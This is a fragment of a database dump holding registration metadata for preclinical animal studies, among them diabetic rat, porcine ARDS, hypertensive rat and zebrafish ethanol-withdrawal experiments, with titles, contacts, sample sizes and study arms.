	(5587,122,'sample_size_calculation','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5588,122,'experimental_design','\"Streptozotocin-induced diabetic rat model\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5589,122,'sum_of_animals','\"Either 8 or 6 depends on parameters \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5590,122,'study_arms','[{\"type\":\"intervention\",\"number\":\"88\",\"intervention\":\"Streptozotocin, Piglitazone, and Berberine\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5591,122,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5592,122,'randomisation_method_used','\"other\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5593,122,'other_randomisation_method','\"allocated on the basis of animals average weight, and blood glucose level\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5594,122,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5595,122,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5596,122,'placebo_controlled','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5597,122,'link_to_data','\"https:\\/\\/www.sciencedirect.com\\/science\\/article\\/abs\\/pii\\/S075333221732838X\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5598,122,'has_embargo','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5599,123,'title','\"Withdrawal from sugar drinks - What is the Capacity for recovery?\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5600,123,'short_title','\"Withdrawal from sugar drinks\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5601,123,'contact_name','\"Kieron Rooney\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5602,123,'contact_role','\"Chief Investigator\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5603,123,'contact_email','\"kieron.rooney@sydney.edu.au\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5604,123,'study_centre','[{\"name\":\"University of Sydney\",\"city\":\"Sydney\",\"country\":\"AU\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5605,123,'financial_support','[\"grants\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5606,123,'start_date','\"2018-07-02\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5607,123,'end_date','\"2018-10-12\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5608,123,'study_status','\"not_started\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5609,124,'title','\"Acute retention of cardiac cell aggregates in a porcine heart.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5610,124,'contact_name','\"Evelyne Demkes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5611,124,'contact_role','\"PhD-student\\/executive researcher\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5612,124,'contact_email','\"e.j.demkes-2@umcutrecht.nl\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5613,124,'study_centre','[{\"name\":\"UMC Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5614,124,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5615,124,'start_date','\"2018-07-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5616,124,'end_date','\"2019-07-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5617,124,'study_status','\"not_started\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5618,124,'research_field','\"Cardiology\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5619,124,'hypothesis','\"Acute retention in the heart is higher when using cardiac cell aggregates. \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5620,124,'intervention_type','\"compound\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5621,124,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5622,124,'primary_readout_parameter','\"Efficacy: Acute retention based on fluorescence signal (intensity x number of pixels) measured by a Typhoon scanner 15 minutes after injection.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5623,124,'secondary_readout_parameter','\"FACS analysis of fluorescence signal in blood from the coronary sinus, before injection, at the moment of injection and at after 2 minutes and 5 minutes.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5624,124,'species','\"pig\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5625,124,'sex','\"female\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5626,124,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5627,124,'placebo_controlled','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5628,125,'title','\"Differential cardiac effects of Losartan metabolites EXP3174 and EXP3179 in L-NAME hypertensive rats\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5629,125,'contact_name','\"Mar\\u00eda de Uju\\u00e9 Moreno\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5630,125,'contact_role','\"Researcher\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5631,125,'contact_email','\"mumoreno@unav.es\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5632,125,'study_centre','[{\"name\":\"Center for Applied Medical Research\",\"city\":\"Pamplona\",\"country\":\"ES\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5633,125,'financial_support','[\"grants\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5634,125,'start_date','\"2010-01-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5635,125,'end_date','\"2011-01-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5636,125,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5637,125,'research_field','\"Cardiology\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5638,125,'hypothesis','\"The literature suggests Losartan metabolites EXP3174 and EXP3179 may have differential effects\\nThe administration of either of these metabolites to L-NAME hypertensive rats may have beneficial effects on cardiac alterations\"','2022-03-31 13:23:42','2022-03-31 13:23:43'),
	(5639,125,'intervention_type','\"compound\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5640,125,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5641,125,'primary_readout_parameter','\"Efficacy: Effect on myocardial remodelling of Losartan metabolites EXP3174 and EXP3179\\nCardiac structure and function was assessed by echocardiography (Vevo 770 ultrasound system)\\nMyocardial fibrosis was determined as the collagen volume fraction, assessed histologically by pricosirius red staining\\nMyocardial collagen cross-linking was evaluated as the ratio of insoluble and soluble collagen\\nMyocardial CTGF, PCP, PCPE and LOX expression were assessed by real-time PCR and western blot\"','2022-03-31 13:23:42','2022-03-31 13:23:43'),
	(5642,125,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5643,125,'species','\"rat\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5644,125,'other_species','\"Wistar rats made hypertensive by the administration of L-NAME\"','2022-03-31 13:23:42','2022-03-31 13:23:43'),
	(5645,125,'strain','\"Wistar\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5646,125,'sex','\"male\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5647,125,'experimental_design','\"The treatment with L-NAME consisted on a dose of 30 mg of L-NAME\\/kg body weight\\/day dissolved in the drinking water\\n\\nThe treatment with losartan metabolites EXP3179 or EXP3174 consisted in a daily oral administration dose of 5 mg\\/kg body weight\\/day using gavage for 10 weeks\"','2022-03-31 13:23:42','2022-03-31 13:23:43'),
	(5648,125,'sample_size_calculation','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5649,125,'sum_of_animals','\"TOTAL 90\\nTen weeks old male Wistar rats were assigned into six groups of 15 animals each: (1) control group receiving the vehicle solution (vehicle), (2) control group treated with EXP3179 (EXP3179), (3) control group treated with EXP3174 (EXP3174), (4) hypertensive group treated with L-NAME (L-NAME), (5) L-NAME treated rats subjected to simultaneous treatment with EXP3179 (L-NAME+EXP3179), and (6) L-NAME treated rats subjected to simultaneous treatment with EXP3174 (L-NAME+EXP3174).\"','2022-03-31 13:23:42','2022-03-31 13:23:43'),
	(5650,125,'study_arms','[{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"Vehicle\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"EXP3174\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"EXP3179\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"L-NAME + vehicle\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"L-NAME + EXP3174\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"L-NAME + EXP3179\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"}]','2022-03-31 13:23:42','2022-03-31 13:23:43'),
	(5651,125,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5652,125,'other_randomisation_method','\"Randomly allocated in groups\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5653,125,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5654,125,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5655,125,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5656,125,'placebo_controlled','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5657,125,'application_number','\"Ethical Committee for Animal Experimentation of the University of Navarra (036\\/08)\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5658,125,'link_to_data','\"Miguel-Carrasco JL, Beaumont J, San Jos\\u00e9 G, Moreno MU, L\\u00f3pez B, Gonz\\u00e1lez A,\\nZalba G, D\\u00edez J, Fortu\\u00f1o A, Ravassa S. Mechanisms underlying the cardiac\\nantifibrotic effects of losartan metabolites. Sci Rep. 2017 Feb 3;7:41865. doi:\\n10.1038\\/srep41865. PubMed PMID: 28157237; PubMed Central PMCID: PMC529\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5659,125,'has_embargo','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5660,126,'contact_name','\"JABAUDON Matthieu\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5661,126,'contact_email','\"mjabaudon@chu-clermontferrand.fr\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5662,126,'study_centre','[{\"name\":\"GRED\",\"city\":\"CLERMONT FERRAND\",\"country\":\"FR\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5663,126,'financial_support','[\"grants\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5664,126,'start_date','\"2018-08-12\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5665,126,'study_status','\"not_started\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5666,126,'species','\"pig\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5667,126,'intervention_type','\"retention\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5668,126,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5669,126,'research_field','\"Intensive care Medicine \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5670,126,'hypothesis','\"Sevoflurane may exert beneficial effects on lung injury, inflammation and alveolar fluid clearance through RAGE-mediated pathways in HCl induced ARDS on pigs.\"','2022-03-31 13:23:42','2022-03-31 13:23:43'),
	(5671,126,'end_date','\"2019-02-12\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5672,126,'primary_readout_parameter','\"Efficacy: Effects of Sevoflurane exposition on main ARDS features (arterial oxygenation, alveolar and systemic inflammation, alveolar edema and histological evidence of lung injury)\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5673,126,'contact_role','\"Executive researcher\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5674,126,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5675,126,'sex','\"both\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5676,126,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5677,126,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5678,126,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5679,126,'why_no_randomisation','\"Progressive inclusion in each group until the number of pig per group is achieved.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5680,126,'study_arms','[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"General anesth\\u00e9sia (GA) by IV Propofol and R\\u00e9mifentanil  - Without lung injury\"},{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"GA by IV Propofol and R\\u00e9mifentanil  - HCL induced ARDS\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"HCl Induced ARDS - Sevoflurane \"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5681,126,'secondary_readout_parameter','\"Effect of sevoflurane post-exposition on the rate of alveolar fluid clearance and its determinants: the expression of epithelial channels implicated in transepithelial transport (sodium channel-ENaC, Na+\\/K+\\/ATPase, Aquaporin 5-AQP5) at the protein and messenger RNA levels\\n\\nEffect of sevoflurane on the distribution and phenotypes of lung macrophages (assessed in the alveolar, vascular and interstitial compartments), on the TXNIP-NLRP3 pathway-mediated secretion of pro-inflammatory cytokines by lung macrophages.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5682,126,'placebo_controlled','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5683,126,'application_number','\"Ethics committee number : 01505.01\\u200b\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5684,126,'title','\"Effects of Sevoflurane on lung injury, inflammation and alveolar fluid clearance through RAGE-mediated pathways, in HCl induced ARDS on pigs .\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5685,126,'sample_size_calculation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5686,126,'sample_size_calculation_details','\"According to the principles of the 3Rs (Replacement, Reduction and Refinement), a limited number of animals was used (six animals under a given ventilator setting in each group) in order to detect a difference of 1 mg.mL-1  in BAL protein concentration and of 5% per hour  in net AFC rate 4 hours after mechanical ventilation, when considering alpha and beta risks of 5% (bilateral) and 10%, respectively. Statistical power of 90% was considered sufficient to allow multiple comparisons between groups. \\nThus, a total number of 18 animals was allocated : SHAM (n=6) ; HCl induced ARDS and no Sevoflurane  (n=6), HCl induced ARDS + Sevoflurane (n=6).\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5687,126,'sum_of_animals','\"18\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5688,126,'original_animal_ethics_committee_application','\"French national animal Ethics Committee\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5689,126,'experimental_design','\"HCl induced ARDS on pigs and use\\/or not of inhaled Sevoflurane. \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5690,124,'strain','\"- \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5691,124,'sample_size_calculation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5692,124,'sample_size_calculation_details','\"To have an idea on the amount of animals we have to use a sample size was calculated by using an online tool. Because we expect to find the greatest effect between two specific groups we choose to do a independent T-test. Based on previous results (van der Spoel, et al. 2012) we expected an acute retention in the control group of 16%. With our aggregates we expect to have a retention of at least 30% with a sigma of 6%. With an alpha of 0.05 and a power of 0.80 we have come to a number 3 animals per group. As we did not expected any drop-outs, we want to use n=3 per group. \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5693,124,'experimental_design','\"Healthy heart, no internvention\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5694,124,'sum_of_animals','\"15\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5695,124,'study_arms','[{\"type\":\"control\",\"number\":\"3\",\"intervention\":\"Single cells\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Aggregates \"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Aggregates \"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Aggregates \"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Aggregates + special administration\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5696,124,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5697,124,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5698,124,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5699,124,'yes_blinded_intervention_how_details','\"One of the researcher needs to prepare the cells. However, this person will only analyse results when tey are anonymised.  \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5700,124,'yes_blinded_intervention_partially_details','\"Yes partially\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5701,126,'yes_blinded_intervention_how_details','\"They have to instillate or not HCL in lungs and start or not inhaled Sevoflurane\\nHowever, they are blinded for outcomes \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5702,126,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5703,126,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5704,126,'strain','\"Landrace white piglets \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5705,125,'why_no_randomisation','\"Animals received in a batch and allocated to the experimental groups randomly (but without a specific method)\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5706,127,'title','\"Testing\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5707,128,'title','\"Role of NOS-2 on the anxiogenesis induced by ethanol withdrawal in a zebrafish model\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5708,128,'contact_name','\"Caio Maximino\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5709,128,'contact_role','\"Research group supervisor\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5710,128,'contact_email','\"cmaximino@unifesspa.edu.br\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5711,128,'study_centre','[{\"name\":\"Universidade Federal do Sul e Sudeste do Par\\u00e1\",\"city\":\"Marab\\u00e1\",\"country\":\"BR\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5712,128,'start_date','\"2018-10-01\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5713,128,'end_date','\"2019-03-01\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5714,128,'study_status','\"active\"','2022-03-31 13:23:43','2022-03-31 13:23:44'),
	(5715,128,'research_field','\"Neuroscience\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5716,128,'hypothesis','\"Ethanol withdrawal will activate nitrergic neurons in the zebrafish brain, inducing the expression and activity of NOS-2, and leading to the production of nitric oxide and oxygen and nitrogen reactive species. These reactive species increase anxiety-like behavior.\"','2022-03-31 13:23:43','2022-03-31 13:23:44'),
	(5717,128,'intervention_type','\"compound\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5718,128,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5719,128,'primary_readout_parameter','\"Efficacy: Efficacy based on reduction of anxiety-like behavior after treatment. \\nAnxiety-like behavior will be measured using the novel tank test (Egan et al., 2009). Primary endpoint in this test is time spent on the bottom of the tank; auxiliary endpoints will be frequency of erratic swimming, frequency and duration of freezing events, total locomotion, and homebase behavior.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5720,128,'secondary_readout_parameter','\"Reduction of nitrite levels and disinhibition of catalase activity in the brain\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5721,128,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5722,128,'species','\"other\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5723,128,'other_species','\"Zebrafish (Danio rerio Hamilton 1822)\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5724,128,'strain','\"Wild-type longfin\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5725,128,'sex','\"both\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5726,128,'experimental_design','\"Ethanol withdrawal-induced anxiety-like behavior in the novel tank test\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5727,128,'sample_size_calculation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5728,128,'sample_size_calculation_details','\"Experiment 1: Power analysis for two-sample unpaired t-test, using \\u03b1 = 0.05, power 80%, and expected effect size d = 0.44 (based on a metanalysis of EtOH withdrawal experiments in zebrafish, reported in Chaves et al. (2018)), resulting in 83 animals per group.\\nExperiment 2: Power analysis for 2-way ANOVA with interaction effects. \\u03b1 = 0.05, \\u03b2 = 0.8, expected effect size f = 0.4 for each independent variable (based on Chaves et al., 2018), resulting in 15 animals per group. Since tissues will be pooled for nitrite analysis, for that outcome n = 3\\/group.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5729,128,'sum_of_animals','\"226\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5730,128,'study_arms','[{\"type\":\"sham\",\"number\":\"15\",\"intervention\":\"[Experiment 2] Saline-treated, water-exposed animals\"},{\"type\":\"sham\",\"number\":\"15\",\"intervention\":\"[Experiment 2] Saline-treated, ethanol-exposed animals\"},{\"type\":\"other\",\"number\":\"15\",\"intervention\":\"[Experiment 2] Aminoguanidine-treated, water-exposed animals\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"[Experiment 2] Aminoguanidine-treated, ethanol-exposed animals\"},{\"type\":\"control\",\"number\":\"83\",\"intervention\":\"[Experiment 1] Water-exposed animals\"},{\"type\":\"other\",\"number\":\"83\",\"intervention\":\"[Experimento 1] Ethanol-exposed animals\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5731,128,'randomisation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5732,128,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5733,128,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5734,128,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5735,128,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5736,128,'placebo_controlled','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5737,128,'has_embargo','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5738,128,'financial_support','[\"other\"]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5739,128,'other_financial_support','\"No financial support \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5740,129,'title','\"Effects of inhaled sevoflurane and isoflurane on lung injury and alveolar fluid clearance in a porcine model of acid-induced acute respiratory distress syndrome: a randomized experimental study\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5741,129,'contact_name','\"Matthieu Jabaudon\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5742,129,'contact_role','\"Executive Researcher\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5743,129,'contact_email','\"mjabaudon@chu-clermontferrand.fr\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5744,129,'study_centre','[{\"name\":\"GReD, Universite Clermont Auvergne, CNRS UMR 6293, INSERM U1103, Team \\\"Translational approach to epithelial injury and repair\\u201d \",\"city\":\"Clermont-Ferrand\",\"country\":\"FR\"},{\"name\":\"Centre Hospitalier Universitaire (CHU)\",\"city\":\"Clermont-Ferrand\",\"country\":\"FR\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5745,129,'financial_support','[\"grants\"]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5746,129,'start_date','\"2018-06-12\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5747,129,'end_date','\"2019-02-14\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5748,129,'study_status','\"active\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5749,129,'research_field','\"Critical care medicine\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5750,129,'hypothesis','\"Based on available data from experimental ARDS studies, inhaled sedation with halogenated agents may be associated with beneficial effects on the injured lung.\\nHowever, the mechanisms of sevoflurane or isoflurane in lung injury remain largely under-investigated.\\n\\nHere we hypothesize that sevoflurane and\\/or isoflurane may exert beneficial effects on lung injury and alveolar fluid clearance in acid-induced ARDS in pigs, through pathways that could be mediated by the receptor for advanced glycation end-products (RAGE). Our study aims at addressing the respective effects of sevoflurane and isoflurane on lung injury differences and potential differences between these halogenated agents.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5751,129,'intervention_type','\"retention\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5752,129,'other_intervention_type','\"Inhaled Sedation with Sevoflurane or Isoflurane\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5753,129,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5754,129,'primary_readout_parameter','\"Efficacy: Net AFC rate (in % per hour) as measured 4 hours after lung injury (primary endpoint)\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5755,129,'secondary_readout_parameter','\"* Other criteria of experimental ARDS that reproduce major hallmarks of animal lung injury: \\n- measurements of histological evidence of tissue injury (histology lung injury score)\\n- measurements of alteration of the alveolar-capillary barrier (total protein level in the bronchoalveolar lavage (BAL), extravascular lung water (EVLW, as indexed to body weight) using transpulmonary thermodilution)\\n- measurements of the inflammatory response (BAL levels of cytokines TNF-\\u03b1, IL-6, IL-1\\u03b2, and IL-18)\\n- physiological dysfunction (hypoxemia, as assessed by PaO2\\/FiO2)\\n\\n* Hemodynamic variables (heart rate, cardiac index, mean arterial pressure)\\n* Respiratory variables (tidal volume, respiratory rate, airway resistance, compliance of the respiratory system, auto-positive end-expiratory pressure, inspiratory plateau pressure, driving pressure, functional residual capacity)\\n* Biological variables (plasma lactate level, serum creatinine, arterial blood gas, lung expression of epithelial channels implicated in transepithelial transport(sodium channel, Na+\\/K+\\/ATPase, Aquaporin 5) at the protein and mRNA levels; activation profiles of lung (alveolar, vascular and interstitial) macrophages\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5756,129,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5757,129,'species','\"pig\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5758,129,'strain','\"Landrace white piglets\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5759,129,'sample_size_calculation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5760,129,'sample_size_calculation_details','\"According to the principles of the 3Rs (Replacement, Reduction, and Refinement), a limited number of animals will be used (six animals in each of the three groups, total N = 18)) in order to detect a mean difference of 5% per hour (SD=2.5) in net AFC rate at 4 hours after lung injury (primary endpoint) between acid-injured receiving intravenous sedation and those receiving inhaled sedation, when considering alpha and beta risks of 5% (bilateral) and 10%, respectively.\\nA statistical power of 90% will be considered sufficient to allow multiple comparisons between groups.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5761,129,'sum_of_animals','\"24\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5762,129,'sex','\"both\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5763,129,'experimental_design','\"Intratracheal instillation of HCl (hydrochloric acid 0.05 N, pH 1.41, 4 ml\\/kg) as a model for acute respiratory distress syndrome in piglets under mechanical ventilation and sedation with either intravenous propofol or inhaled sedation.\\n\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
